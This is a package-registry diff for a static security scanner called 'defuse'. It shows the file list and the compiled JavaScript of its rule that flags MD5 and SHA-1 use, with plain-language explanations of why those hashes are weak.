@sikkuumiii/defuse 0.0.0-stage → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (236) hide show
  1. package/LICENSE +235 -0
  2. package/README.md +561 -2
  3. package/dist/src/cli.d.ts +20 -0
  4. package/dist/src/cli.js +619 -0
  5. package/dist/src/cli.js.map +1 -0
  6. package/dist/src/core/analyze.d.ts +178 -0
  7. package/dist/src/core/analyze.js +834 -0
  8. package/dist/src/core/analyze.js.map +1 -0
  9. package/dist/src/core/coverage.d.ts +87 -0
  10. package/dist/src/core/coverage.js +181 -0
  11. package/dist/src/core/coverage.js.map +1 -0
  12. package/dist/src/core/finding.d.ts +196 -0
  13. package/dist/src/core/finding.js +178 -0
  14. package/dist/src/core/finding.js.map +1 -0
  15. package/dist/src/core/licence.d.ts +50 -0
  16. package/dist/src/core/licence.js +56 -0
  17. package/dist/src/core/licence.js.map +1 -0
  18. package/dist/src/core/paths.d.ts +21 -0
  19. package/dist/src/core/paths.js +58 -0
  20. package/dist/src/core/paths.js.map +1 -0
  21. package/dist/src/core/score.d.ts +137 -0
  22. package/dist/src/core/score.js +232 -0
  23. package/dist/src/core/score.js.map +1 -0
  24. package/dist/src/dast/targets.d.ts +30 -0
  25. package/dist/src/dast/targets.js +79 -0
  26. package/dist/src/dast/targets.js.map +1 -0
  27. package/dist/src/dast/zap.d.ts +42 -0
  28. package/dist/src/dast/zap.js +184 -0
  29. package/dist/src/dast/zap.js.map +1 -0
  30. package/dist/src/engine/scan.d.ts +80 -0
  31. package/dist/src/engine/scan.js +129 -0
  32. package/dist/src/engine/scan.js.map +1 -0
  33. package/dist/src/engine/shapes.d.ts +47 -0
  34. package/dist/src/engine/shapes.js +328 -0
  35. package/dist/src/engine/shapes.js.map +1 -0
  36. package/dist/src/engine/walk.d.ts +60 -0
  37. package/dist/src/engine/walk.js +156 -0
  38. package/dist/src/engine/walk.js.map +1 -0
  39. package/dist/src/parse/astDump.d.ts +31 -0
  40. package/dist/src/parse/astDump.js +66 -0
  41. package/dist/src/parse/astDump.js.map +1 -0
  42. package/dist/src/parse/languages.d.ts +70 -0
  43. package/dist/src/parse/languages.js +174 -0
  44. package/dist/src/parse/languages.js.map +1 -0
  45. package/dist/src/parse/location.d.ts +17 -0
  46. package/dist/src/parse/location.js +38 -0
  47. package/dist/src/parse/location.js.map +1 -0
  48. package/dist/src/parse/node-grammars.d.ts +12 -0
  49. package/dist/src/parse/node-grammars.js +35 -0
  50. package/dist/src/parse/node-grammars.js.map +1 -0
  51. package/dist/src/parse/parser.d.ts +126 -0
  52. package/dist/src/parse/parser.js +202 -0
  53. package/dist/src/parse/parser.js.map +1 -0
  54. package/dist/src/parse/tree-store.d.ts +139 -0
  55. package/dist/src/parse/tree-store.js +236 -0
  56. package/dist/src/parse/tree-store.js.map +1 -0
  57. package/dist/src/platform/dependency-rule.d.ts +27 -0
  58. package/dist/src/platform/dependency-rule.js +21 -0
  59. package/dist/src/platform/dependency-rule.js.map +1 -0
  60. package/dist/src/platform/deps.d.ts +86 -0
  61. package/dist/src/platform/deps.js +304 -0
  62. package/dist/src/platform/deps.js.map +1 -0
  63. package/dist/src/platform/php-facts.d.ts +49 -0
  64. package/dist/src/platform/php-facts.js +67 -0
  65. package/dist/src/platform/php-facts.js.map +1 -0
  66. package/dist/src/platform/runtime-version.d.ts +78 -0
  67. package/dist/src/platform/runtime-version.js +573 -0
  68. package/dist/src/platform/runtime-version.js.map +1 -0
  69. package/dist/src/report/colors.d.ts +50 -0
  70. package/dist/src/report/colors.js +97 -0
  71. package/dist/src/report/colors.js.map +1 -0
  72. package/dist/src/report/coverage-table.d.ts +90 -0
  73. package/dist/src/report/coverage-table.js +291 -0
  74. package/dist/src/report/coverage-table.js.map +1 -0
  75. package/dist/src/report/html-report.d.ts +66 -0
  76. package/dist/src/report/html-report.js +489 -0
  77. package/dist/src/report/html-report.js.map +1 -0
  78. package/dist/src/report/human.d.ts +44 -0
  79. package/dist/src/report/human.js +575 -0
  80. package/dist/src/report/human.js.map +1 -0
  81. package/dist/src/report/json.d.ts +24 -0
  82. package/dist/src/report/json.js +178 -0
  83. package/dist/src/report/json.js.map +1 -0
  84. package/dist/src/report/mark.d.ts +17 -0
  85. package/dist/src/report/mark.js +39 -0
  86. package/dist/src/report/mark.js.map +1 -0
  87. package/dist/src/report/pricing.d.ts +33 -0
  88. package/dist/src/report/pricing.js +343 -0
  89. package/dist/src/report/pricing.js.map +1 -0
  90. package/dist/src/report/sarif.d.ts +39 -0
  91. package/dist/src/report/sarif.js +219 -0
  92. package/dist/src/report/sarif.js.map +1 -0
  93. package/dist/src/report/site.d.ts +87 -0
  94. package/dist/src/report/site.js +742 -0
  95. package/dist/src/report/site.js.map +1 -0
  96. package/dist/src/rules/code-injection.d.ts +47 -0
  97. package/dist/src/rules/code-injection.js +326 -0
  98. package/dist/src/rules/code-injection.js.map +1 -0
  99. package/dist/src/rules/command-injection.d.ts +30 -0
  100. package/dist/src/rules/command-injection.js +286 -0
  101. package/dist/src/rules/command-injection.js.map +1 -0
  102. package/dist/src/rules/contract.d.ts +198 -0
  103. package/dist/src/rules/contract.js +39 -0
  104. package/dist/src/rules/contract.js.map +1 -0
  105. package/dist/src/rules/format-string.d.ts +46 -0
  106. package/dist/src/rules/format-string.js +146 -0
  107. package/dist/src/rules/format-string.js.map +1 -0
  108. package/dist/src/rules/hardcoded-secret.d.ts +38 -0
  109. package/dist/src/rules/hardcoded-secret.js +440 -0
  110. package/dist/src/rules/hardcoded-secret.js.map +1 -0
  111. package/dist/src/rules/lib/guards.d.ts +168 -0
  112. package/dist/src/rules/lib/guards.js +1179 -0
  113. package/dist/src/rules/lib/guards.js.map +1 -0
  114. package/dist/src/rules/lib/html-safety.d.ts +75 -0
  115. package/dist/src/rules/lib/html-safety.js +755 -0
  116. package/dist/src/rules/lib/html-safety.js.map +1 -0
  117. package/dist/src/rules/lib/local-build.d.ts +59 -0
  118. package/dist/src/rules/lib/local-build.js +320 -0
  119. package/dist/src/rules/lib/local-build.js.map +1 -0
  120. package/dist/src/rules/lib/strings.d.ts +208 -0
  121. package/dist/src/rules/lib/strings.js +1970 -0
  122. package/dist/src/rules/lib/strings.js.map +1 -0
  123. package/dist/src/rules/path-traversal.d.ts +33 -0
  124. package/dist/src/rules/path-traversal.js +96 -0
  125. package/dist/src/rules/path-traversal.js.map +1 -0
  126. package/dist/src/rules/registry.d.ts +19 -0
  127. package/dist/src/rules/registry.js +77 -0
  128. package/dist/src/rules/registry.js.map +1 -0
  129. package/dist/src/rules/sql-injection.d.ts +36 -0
  130. package/dist/src/rules/sql-injection.js +299 -0
  131. package/dist/src/rules/sql-injection.js.map +1 -0
  132. package/dist/src/rules/ssrf.d.ts +39 -0
  133. package/dist/src/rules/ssrf.js +111 -0
  134. package/dist/src/rules/ssrf.js.map +1 -0
  135. package/dist/src/rules/unbounded-copy.d.ts +37 -0
  136. package/dist/src/rules/unbounded-copy.js +147 -0
  137. package/dist/src/rules/unbounded-copy.js.map +1 -0
  138. package/dist/src/rules/unsafe-deserialization.d.ts +43 -0
  139. package/dist/src/rules/unsafe-deserialization.js +276 -0
  140. package/dist/src/rules/unsafe-deserialization.js.map +1 -0
  141. package/dist/src/rules/weak-hash.d.ts +37 -0
  142. package/dist/src/rules/weak-hash.js +197 -0
  143. package/dist/src/rules/weak-hash.js.map +1 -0
  144. package/dist/src/rules/xss.d.ts +38 -0
  145. package/dist/src/rules/xss.js +527 -0
  146. package/dist/src/rules/xss.js.map +1 -0
  147. package/dist/src/taint/content-type.d.ts +19 -0
  148. package/dist/src/taint/content-type.js +20 -0
  149. package/dist/src/taint/content-type.js.map +1 -0
  150. package/dist/src/taint/dictionaries.d.ts +23 -0
  151. package/dist/src/taint/dictionaries.js +1778 -0
  152. package/dist/src/taint/dictionaries.js.map +1 -0
  153. package/dist/src/taint/fold.d.ts +59 -0
  154. package/dist/src/taint/fold.js +1177 -0
  155. package/dist/src/taint/fold.js.map +1 -0
  156. package/dist/src/taint/java-scope.d.ts +61 -0
  157. package/dist/src/taint/java-scope.js +212 -0
  158. package/dist/src/taint/java-scope.js.map +1 -0
  159. package/dist/src/taint/local-map.d.ts +79 -0
  160. package/dist/src/taint/local-map.js +603 -0
  161. package/dist/src/taint/local-map.js.map +1 -0
  162. package/dist/src/taint/project.d.ts +172 -0
  163. package/dist/src/taint/project.js +617 -0
  164. package/dist/src/taint/project.js.map +1 -0
  165. package/dist/src/taint/tracer.d.ts +265 -0
  166. package/dist/src/taint/tracer.js +3817 -0
  167. package/dist/src/taint/tracer.js.map +1 -0
  168. package/dist/src/taint/types.d.ts +484 -0
  169. package/dist/src/taint/types.js +47 -0
  170. package/dist/src/taint/types.js.map +1 -0
  171. package/dist/src/taint/visibility.d.ts +25 -0
  172. package/dist/src/taint/visibility.js +96 -0
  173. package/dist/src/taint/visibility.js.map +1 -0
  174. package/docs/examples/defuse.json +20 -0
  175. package/docs/examples/dvwa-urls.json +14 -0
  176. package/docs/examples/github-code-scanning.yml +54 -0
  177. package/docs/examples/tiny.js +4 -0
  178. package/package.json +73 -4
  179. package/src/cli.ts +747 -0
  180. package/src/core/analyze.ts +1072 -0
  181. package/src/core/coverage.ts +269 -0
  182. package/src/core/finding.ts +311 -0
  183. package/src/core/licence.ts +61 -0
  184. package/src/core/paths.ts +59 -0
  185. package/src/core/score.ts +353 -0
  186. package/src/dast/targets.ts +121 -0
  187. package/src/dast/zap.ts +246 -0
  188. package/src/engine/scan.ts +200 -0
  189. package/src/engine/shapes.ts +348 -0
  190. package/src/engine/walk.ts +196 -0
  191. package/src/parse/astDump.ts +85 -0
  192. package/src/parse/languages.ts +232 -0
  193. package/src/parse/location.ts +44 -0
  194. package/src/parse/node-grammars.ts +41 -0
  195. package/src/parse/parser.ts +262 -0
  196. package/src/parse/tree-store.ts +301 -0
  197. package/src/platform/dependency-rule.ts +33 -0
  198. package/src/platform/deps.ts +374 -0
  199. package/src/platform/php-facts.ts +85 -0
  200. package/src/platform/runtime-version.ts +710 -0
  201. package/src/report/colors.ts +107 -0
  202. package/src/report/coverage-table.ts +359 -0
  203. package/src/report/html-report.ts +601 -0
  204. package/src/report/human.ts +811 -0
  205. package/src/report/json.ts +189 -0
  206. package/src/report/mark.ts +47 -0
  207. package/src/report/pricing.ts +374 -0
  208. package/src/report/sarif.ts +235 -0
  209. package/src/report/site.ts +760 -0
  210. package/src/rules/code-injection.ts +346 -0
  211. package/src/rules/command-injection.ts +296 -0
  212. package/src/rules/contract.ts +220 -0
  213. package/src/rules/format-string.ts +158 -0
  214. package/src/rules/hardcoded-secret.ts +485 -0
  215. package/src/rules/lib/guards.ts +1235 -0
  216. package/src/rules/lib/html-safety.ts +793 -0
  217. package/src/rules/lib/local-build.ts +329 -0
  218. package/src/rules/lib/strings.ts +2034 -0
  219. package/src/rules/path-traversal.ts +101 -0
  220. package/src/rules/registry.ts +90 -0
  221. package/src/rules/sql-injection.ts +311 -0
  222. package/src/rules/ssrf.ts +118 -0
  223. package/src/rules/unbounded-copy.ts +162 -0
  224. package/src/rules/unsafe-deserialization.ts +291 -0
  225. package/src/rules/weak-hash.ts +226 -0
  226. package/src/rules/xss.ts +572 -0
  227. package/src/taint/content-type.ts +20 -0
  228. package/src/taint/dictionaries.ts +1855 -0
  229. package/src/taint/fold.ts +1206 -0
  230. package/src/taint/java-scope.ts +200 -0
  231. package/src/taint/local-map.ts +594 -0
  232. package/src/taint/project.ts +774 -0
  233. package/src/taint/tracer.ts +4298 -0
  234. package/src/taint/types.ts +511 -0
  235. package/src/taint/visibility.ts +100 -0
  236. package/tsconfig.json +61 -0
@@ -0,0 +1,197 @@
1
+ /**
2
+ * WEAK / BROKEN CRYPTOGRAPHIC HASH (CWE-327, CWE-328,
3
+ * OWASP A04:2025 - Cryptographic Failures)
4
+ *
5
+ * WHAT A HASH IS, in plain language:
6
+ * A hash function turns any input into a fixed-length fingerprint. Two
7
+ * properties are supposed to hold: you cannot work backwards from the
8
+ * fingerprint to the input, and you cannot find two different inputs with the
9
+ * same fingerprint (a "collision").
10
+ *
11
+ * MD5 and SHA-1 no longer have the second property. Collisions in MD5 are
12
+ * trivial today - seconds on a laptop. SHA-1 collisions were demonstrated in
13
+ * 2017 and have only got cheaper. Anything that relies on "this fingerprint
14
+ * uniquely identifies this content" - signatures, integrity checks, tokens -
15
+ * is broken when built on them.
16
+ *
17
+ * PASSWORDS ARE A SEPARATE PROBLEM, and a worse one:
18
+ * MD5 and SHA-1 are FAST, and for password storage fast is the flaw. A modern
19
+ * GPU tries billions of MD5 guesses per second, so a stolen table of MD5
20
+ * password hashes is effectively a table of passwords. Password hashing needs a
21
+ * function designed to be SLOW and memory-hungry - bcrypt, scrypt, or Argon2 -
22
+ * with a unique random salt per password.
23
+ *
24
+ * WHAT TO USE INSTEAD:
25
+ * integrity / fingerprints -> SHA-256 or SHA-3
26
+ * passwords -> Argon2id, scrypt, or bcrypt
27
+ * message authentication -> HMAC-SHA256
28
+ *
29
+ * HONESTY NOTE, and it is a real one:
30
+ * MD5 is still perfectly reasonable for NON-security work - cache keys, ETags,
31
+ * sharding, deduplication, "has this file changed". A scanner cannot tell why
32
+ * you called it. So this rule is severity MEDIUM, not high, and every finding
33
+ * says out loud that purpose is unknown. Flagging a cache key as a critical
34
+ * vulnerability is how security tools train people to ignore them.
35
+ */
36
+ import { asCall } from './contract.js';
37
+ import { unquote } from './lib/strings.js';
38
+ /** Constructors whose NAME alone identifies the algorithm. */
39
+ const DIRECT_WEAK_CALLS = {
40
+ javascript: [],
41
+ typescript: [],
42
+ python: ['md5', 'sha1'], // hashlib.md5(...)
43
+ java: ['md5Hex', 'sha1Hex', 'md5', 'sha1'], // Apache DigestUtils
44
+ go: ['New', 'Sum', 'New224'], // md5.New(), sha1.Sum() - receiver tells us which
45
+ php: ['md5', 'sha1', 'md5_file', 'sha1_file', 'crc32'],
46
+ /*
47
+ * OpenSSL's one-shot and streaming APIs, which is how virtually all C code
48
+ * hashes anything. MD5(), SHA1() and their _Init/_Update/_Final triples name
49
+ * the algorithm in the symbol, so the name alone is the whole signal - no
50
+ * receiver scoping needed, unlike Go's `md5.New()`.
51
+ */
52
+ c: ['MD5', 'SHA1', 'MD5_Init', 'SHA1_Init', 'MD4', 'MD4_Init', 'CC_MD5', 'CC_SHA1'],
53
+ cpp: ['MD5', 'SHA1', 'MD5_Init', 'SHA1_Init', 'MD4', 'MD4_Init', 'CC_MD5', 'CC_SHA1'],
54
+ };
55
+ /** Calls that take the algorithm as a STRING argument. */
56
+ const ALGORITHM_ARG_CALLS = {
57
+ javascript: ['createHash', 'createHmac'],
58
+ typescript: ['createHash', 'createHmac'],
59
+ python: ['new'], // hashlib.new("md5")
60
+ java: ['getInstance'], // MessageDigest.getInstance("MD5")
61
+ go: [],
62
+ php: ['hash', 'hash_file', 'hash_init'], // hash("md5", $x)
63
+ // EVP_get_digestbyname("md5") is the string-argument form in OpenSSL.
64
+ c: ['EVP_get_digestbyname', 'EVP_MD_fetch'],
65
+ cpp: ['EVP_get_digestbyname', 'EVP_MD_fetch'],
66
+ };
67
+ const WEAK_ALGORITHMS = /^(md[245]|sha-?1|md5-sess|ripemd128?)$/i;
68
+ /** Receivers that identify a weak package, e.g. Go's `md5.New()`. */
69
+ const WEAK_RECEIVERS = /^(md5|sha1)$/i;
70
+ const PASSWORDISH = /pass(word|wd)?|pwd|credential|login|auth/i;
71
+ export const weakHashRule = {
72
+ id: 'weak-hash',
73
+ name: 'Broken or unsuitable hash algorithm',
74
+ cwe: 'CWE-327',
75
+ owasp: 'A04:2025 Cryptographic Failures',
76
+ severity: 'medium',
77
+ summary: 'MD5 or SHA-1 is used where security depends on it, and both can be broken cheaply today.',
78
+ fix: 'Use SHA-256 for integrity, HMAC-SHA256 for authentication, and Argon2id or bcrypt for passwords.',
79
+ explanation: 'MD5 and SHA-1 are broken for security use: finding two inputs with the same ' +
80
+ 'fingerprint is cheap today, so they cannot be trusted for signatures or integrity. ' +
81
+ 'They are also far too fast for password storage, where a GPU can try billions of ' +
82
+ 'guesses per second. Use SHA-256 for integrity, HMAC-SHA256 for authentication, ' +
83
+ 'and Argon2id/scrypt/bcrypt for passwords.',
84
+ limitations: 'UNVERIFIED (signature-based): we identified the algorithm from the call, not the ' +
85
+ 'purpose. MD5 used for a cache key, an ETag or deduplication is FINE and this ' +
86
+ 'finding is then a false positive. We cannot see what the digest is USED for. The ' +
87
+ 'taint engine follows attacker input forwards into sinks; answering "what happens to ' +
88
+ 'this hash afterwards" is the opposite direction and is not implemented. The one ' +
89
+ 'exception is Python\'s `usedforsecurity=False`, which states the purpose in the call: ' +
90
+ 'such a call is withdrawn and listed as proved clean, and the receipt says it rests ' +
91
+ 'on that statement being true.',
92
+ shapes: ['call'],
93
+ support: {
94
+ javascript: {
95
+ status: 'implemented',
96
+ note: "Node crypto.createHash('md5'|'sha1') and createHmac. Third-party libraries with their own APIs (crypto-js, blueimp-md5) are not covered.",
97
+ },
98
+ typescript: { status: 'implemented', note: 'Identical to JavaScript.' },
99
+ python: {
100
+ status: 'implemented',
101
+ note: 'hashlib.md5/sha1 and hashlib.new("md5"). A call passing the literal keyword `usedforsecurity=False` (Python 3.9+) is withdrawn with a proved-clean receipt: it is the programmer stating in the code that the digest is not for security. A flag held in a variable is not read, and still reports.',
102
+ },
103
+ java: {
104
+ status: 'implemented',
105
+ note: 'MessageDigest.getInstance("MD5"/"SHA-1") and Apache Commons DigestUtils.md5Hex/sha1Hex. Algorithm names built from a variable are not resolved.',
106
+ },
107
+ go: {
108
+ status: 'partial',
109
+ note: 'PARTIAL: matched by receiver package name (md5.New, sha1.Sum). If the package is imported under an alias (`import h "crypto/md5"`) we will miss it, because we match on the receiver text rather than on resolved imports.',
110
+ },
111
+ php: {
112
+ status: 'implemented',
113
+ note: 'Covers md5(), sha1(), their _file variants, crc32(), and hash("md5", ...). PHP names the algorithm in the function itself far more often than the others do, which makes this the most reliable weak-hash coverage in the tool.',
114
+ },
115
+ c: {
116
+ status: 'implemented',
117
+ note: 'OpenSSL\'s one-shot and streaming APIs, which is how nearly all C code hashes: MD5, SHA1, MD4 and their _Init variants, plus Apple\'s CC_MD5/CC_SHA1 and the string-argument form EVP_get_digestbyname("md5"). The algorithm is named in the symbol itself, so no receiver scoping is needed - which makes this more reliable in C than the Go coverage, where the package name is the only clue.',
118
+ },
119
+ cpp: {
120
+ status: 'implemented',
121
+ note: 'Every C entry applies unchanged, since C++ inherits the whole libc surface and real code still uses it. Namespace-qualified calls (std::system) and method calls on objects are recognised in addition.',
122
+ },
123
+ },
124
+ check(shape, ctx) {
125
+ const call = asCall(shape);
126
+ if (!call)
127
+ return null;
128
+ const language = ctx.language;
129
+ const report = (algorithm, evidence) => {
130
+ const wholeCall = call.node.text ?? '';
131
+ const looksLikePasswordUse = PASSWORDISH.test(wholeCall);
132
+ return {
133
+ node: call.node,
134
+ severity: looksLikePasswordUse ? 'high' : 'medium',
135
+ message: `${algorithm.toUpperCase()} used via ${call.calleeText}()`,
136
+ reasoning: `${evidence} ${algorithm.toUpperCase()} is a broken hash for security purposes: ` +
137
+ `producing two different inputs with the same digest is cheap on ordinary ` +
138
+ `hardware, and the function is fast enough that guessing inputs is cheap too. ` +
139
+ (looksLikePasswordUse
140
+ ? `The surrounding code mentions a password or credential, which makes this a ` +
141
+ `likely password-hashing use - the worst case. Use Argon2id, scrypt or bcrypt.`
142
+ : `We cannot tell what this digest is for. If it is a cache key or a checksum ` +
143
+ `this is harmless; if it protects anything, move to SHA-256 or HMAC-SHA256.`),
144
+ };
145
+ };
146
+ /*
147
+ * PYTHON SAYS WHAT THE HASH IS FOR. `hashlib.md5(x, usedforsecurity=False)`
148
+ * is the one place the purpose this rule cannot see is written in the call
149
+ * (Python 3.9+). The keyword must be a real keyword argument with the
150
+ * literal False - not text in a comment or a string, not a variable - and
151
+ * the withdrawal leaves a receipt saying what it rests on
152
+ * (tests/fixtures/vulnerable/hash-purpose.py).
153
+ */
154
+ const declaredNotForSecurity = language === 'python' &&
155
+ call.args.some((arg) => arg.type === 'keyword_argument' &&
156
+ arg.childForFieldName('name')?.text === 'usedforsecurity' &&
157
+ arg.childForFieldName('value')?.type === 'false');
158
+ const withdraw = (algorithm) => {
159
+ ctx.noteClean?.('weak-hash', call.node, `The call passes usedforsecurity=False: Python's own declaration that this ` +
160
+ `${algorithm.toUpperCase()} digest is not used for security (a cache key, an ETag, a ` +
161
+ `checksum), so it is not reported. This rests on that statement being true - if the ` +
162
+ `digest does protect something, the declaration is wrong and so is this receipt.`);
163
+ return null;
164
+ };
165
+ /* ---- Algorithm named in a string argument: createHash("md5") ---- */
166
+ if (ALGORITHM_ARG_CALLS[language].includes(call.calleeName)) {
167
+ for (const arg of call.args) {
168
+ const text = unquote((arg.text ?? '').trim());
169
+ if (WEAK_ALGORITHMS.test(text)) {
170
+ if (declaredNotForSecurity)
171
+ return withdraw(text);
172
+ return report(text, `\`${call.calleeText}("${text}")\` selects the algorithm by name.`);
173
+ }
174
+ }
175
+ return null;
176
+ }
177
+ /* ---- Algorithm implied by the function or package name ---- */
178
+ if (DIRECT_WEAK_CALLS[language].includes(call.calleeName)) {
179
+ // Go: md5.New() - the receiver is the package. Python: hashlib.md5().
180
+ if (WEAK_RECEIVERS.test(call.receiverText)) {
181
+ return report(call.receiverText, `\`${call.calleeText}()\` comes from the ${call.receiverText} package.`);
182
+ }
183
+ if (WEAK_ALGORITHMS.test(call.calleeName)) {
184
+ if (declaredNotForSecurity)
185
+ return withdraw(call.calleeName);
186
+ return report(call.calleeName, `\`${call.calleeText}()\` names the algorithm directly.`);
187
+ }
188
+ // DigestUtils.md5Hex / sha1Hex
189
+ const stripped = call.calleeName.replace(/(Hex|Base64|Digest)$/i, '');
190
+ if (WEAK_ALGORITHMS.test(stripped)) {
191
+ return report(stripped, `\`${call.calleeText}()\` names the algorithm directly.`);
192
+ }
193
+ }
194
+ return null;
195
+ },
196
+ };
197
+ //# sourceMappingURL=weak-hash.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"weak-hash.js","sourceRoot":"","sources":["../../../src/rules/weak-hash.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AAGH,OAAO,EAAE,MAAM,EAA2B,MAAM,eAAe,CAAC;AAChE,OAAO,EAAE,OAAO,EAAE,MAAM,kBAAkB,CAAC;AAE3C,8DAA8D;AAC9D,MAAM,iBAAiB,GAA0C;IAC/D,UAAU,EAAE,EAAE;IACd,UAAU,EAAE,EAAE;IACd,MAAM,EAAE,CAAC,KAAK,EAAE,MAAM,CAAC,EAAE,mBAAmB;IAC5C,IAAI,EAAE,CAAC,QAAQ,EAAE,SAAS,EAAE,KAAK,EAAE,MAAM,CAAC,EAAE,qBAAqB;IACjE,EAAE,EAAE,CAAC,KAAK,EAAE,KAAK,EAAE,QAAQ,CAAC,EAAE,kDAAkD;IAChF,GAAG,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,UAAU,EAAE,WAAW,EAAE,OAAO,CAAC;IACtD;;;;;OAKG;IACH,CAAC,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,UAAU,EAAE,WAAW,EAAE,KAAK,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAC;IACnF,GAAG,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,UAAU,EAAE,WAAW,EAAE,KAAK,EAAE,UAAU,EAAE,QAAQ,EAAE,SAAS,CAAC;CACtF,CAAC;AAEF,0DAA0D;AAC1D,MAAM,mBAAmB,GAA0C;IACjE,UAAU,EAAE,CAAC,YAAY,EAAE,YAAY,CAAC;IACxC,UAAU,EAAE,CAAC,YAAY,EAAE,YAAY,CAAC;IACxC,MAAM,EAAE,CAAC,KAAK,CAAC,EAAE,qBAAqB;IACtC,IAAI,EAAE,CAAC,aAAa,CAAC,EAAE,mCAAmC;IAC1D,EAAE,EAAE,EAAE;IACN,GAAG,EAAE,CAAC,MAAM,EAAE,WAAW,EAAE,WAAW,CAAC,EAAE,kBAAkB;IAC3D,sEAAsE;IACtE,CAAC,EAAE,CAAC,sBAAsB,EAAE,cAAc,CAAC;IAC3C,GAAG,EAAE,CAAC,sBAAsB,EAAE,cAAc,CAAC;CAC9C,CAAC;AAEF,MAAM,eAAe,GAAG,yCAAyC,CAAC;AAElE,qEAAqE;AACrE,MAAM,cAAc,GAAG,eAAe,CAAC;AAEvC,MAAM,WAAW,GAAG,2CAA2C,CAAC;AAEhE,MAAM,CAAC,MAAM,YAAY,GAAS;IAChC,EAAE,EAAE,WAAW;IACf,IAAI,EAAE,qCAAqC;IAC3C,GAAG,EAAE,SAAS;IACd,KAAK,EAAE,iCAAiC;IACxC,QAAQ,EAAE,QAAQ;IAClB,OAAO,EAAE,0FAA0F;IACnG,GAAG,EACD,kGAAkG;IACpG,WAAW,EACT,8EAA8E;QAC9E,qFAAqF;QACrF,mFAAmF;QACnF,iFAAiF;QACjF,2CAA2C;IAC7C,WAAW,EACT,mFAAmF;QACnF,+EAA+E;QAC/E,mFAAmF;QACnF,sFAAsF;QACtF,kFAAkF;QAClF,wFAAwF;QACxF,qFAAqF;QACrF,+BAA+B;IACjC,MAAM,EAAE,CAAC,MAAM,CAAC;IAChB,OAAO,EAAE;QACP,UAAU,EAAE;YACV,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,0IAA0I;SACjJ;QACD,UAAU,EAAE,EAAE,MAAM,EAAE,aAAa,EAAE,IAAI,EAAE,0BAA0B,EAAE;QACvE,MAAM,EAAE;YACN,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,qSAAqS;SAC5S;QACD,IAAI,EAAE;YACJ,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,iJAAiJ;SACxJ;QACD,EAAE,EAAE;YACF,MAAM,EAAE,SAAS;YACjB,IAAI,EAAE,4NAA4N;SACnO;QACD,GAAG,EAAE;YACH,MAAM,EAAE,aAAa;YACrB,IAAI,EAAE,iOAAiO;SACxO;QACD,CAAC,EAAE;YACD,MAAM,EAAE,aAAa;YACrB,IAAI,EACF,mYAAmY;SACtY;QACD,GAAG,EAAE;YACH,MAAM,EAAE,aAAa;YACrB,IAAI,EACF,yMAAyM;SAC5M;KACF;IACD,KAAK,CAAC,KAAK,EAAE,GAAG;QACd,MAAM,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC;QAC3B,IAAI,CAAC,IAAI;YAAE,OAAO,IAAI,CAAC;QACvB,MAAM,QAAQ,GAAG,GAAG,CAAC,QAAQ,CAAC;QAE9B,MAAM,MAAM,GAAG,CAAC,SAAiB,EAAE,QAAgB,EAAW,EAAE;YAC9D,MAAM,SAAS,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,IAAI,EAAE,CAAC;YACvC,MAAM,oBAAoB,GAAG,WAAW,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;YACzD,OAAO;gBACL,IAAI,EAAE,IAAI,CAAC,IAAI;gBACf,QAAQ,EAAE,oBAAoB,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,QAAQ;gBAClD,OAAO,EAAE,GAAG,SAAS,CAAC,WAAW,EAAE,aAAa,IAAI,CAAC,UAAU,IAAI;gBACnE,SAAS,EACP,GAAG,QAAQ,IAAI,SAAS,CAAC,WAAW,EAAE,2CAA2C;oBACjF,2EAA2E;oBAC3E,+EAA+E;oBAC/E,CAAC,oBAAoB;wBACnB,CAAC,CAAC,6EAA6E;4BAC7E,+EAA+E;wBACjF,CAAC,CAAC,6EAA6E;4BAC7E,4EAA4E,CAAC;aACpF,CAAC;QACJ,CAAC,CAAC;QAEF;;;;;;;WAOG;QACH,MAAM,sBAAsB,GAC1B,QAAQ,KAAK,QAAQ;YACrB,IAAI,CAAC,IAAI,CAAC,IAAI,CACZ,CAAC,GAAG,EAAE,EAAE,CACN,GAAG,CAAC,IAAI,KAAK,kBAAkB;gBAC/B,GAAG,CAAC,iBAAiB,CAAC,MAAM,CAAC,EAAE,IAAI,KAAK,iBAAiB;gBACzD,GAAG,CAAC,iBAAiB,CAAC,OAAO,CAAC,EAAE,IAAI,KAAK,OAAO,CACnD,CAAC;QACJ,MAAM,QAAQ,GAAG,CAAC,SAAiB,EAAQ,EAAE;YAC3C,GAAG,CAAC,SAAS,EAAE,CACb,WAAW,EACX,IAAI,CAAC,IAAI,EACT,4EAA4E;gBAC1E,GAAG,SAAS,CAAC,WAAW,EAAE,4DAA4D;gBACtF,qFAAqF;gBACrF,iFAAiF,CACpF,CAAC;YACF,OAAO,IAAI,CAAC;QACd,CAAC,CAAC;QAEF,uEAAuE;QACvE,IAAI,mBAAmB,CAAC,QAAQ,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAAC;YAC5D,KAAK,MAAM,GAAG,IAAI,IAAI,CAAC,IAAI,EAAE,CAAC;gBAC5B,MAAM,IAAI,GAAG,OAAO,CAAC,CAAC,GAAG,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC;gBAC9C,IAAI,eAAe,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;oBAC/B,IAAI,sBAAsB;wBAAE,OAAO,QAAQ,CAAC,IAAI,CAAC,CAAC;oBAClD,OAAO,MAAM,CACX,IAAI,EACJ,KAAK,IAAI,CAAC,UAAU,KAAK,IAAI,qCAAqC,CACnE,CAAC;gBACJ,CAAC;YACH,CAAC;YACD,OAAO,IAAI,CAAC;QACd,CAAC;QAED,iEAAiE;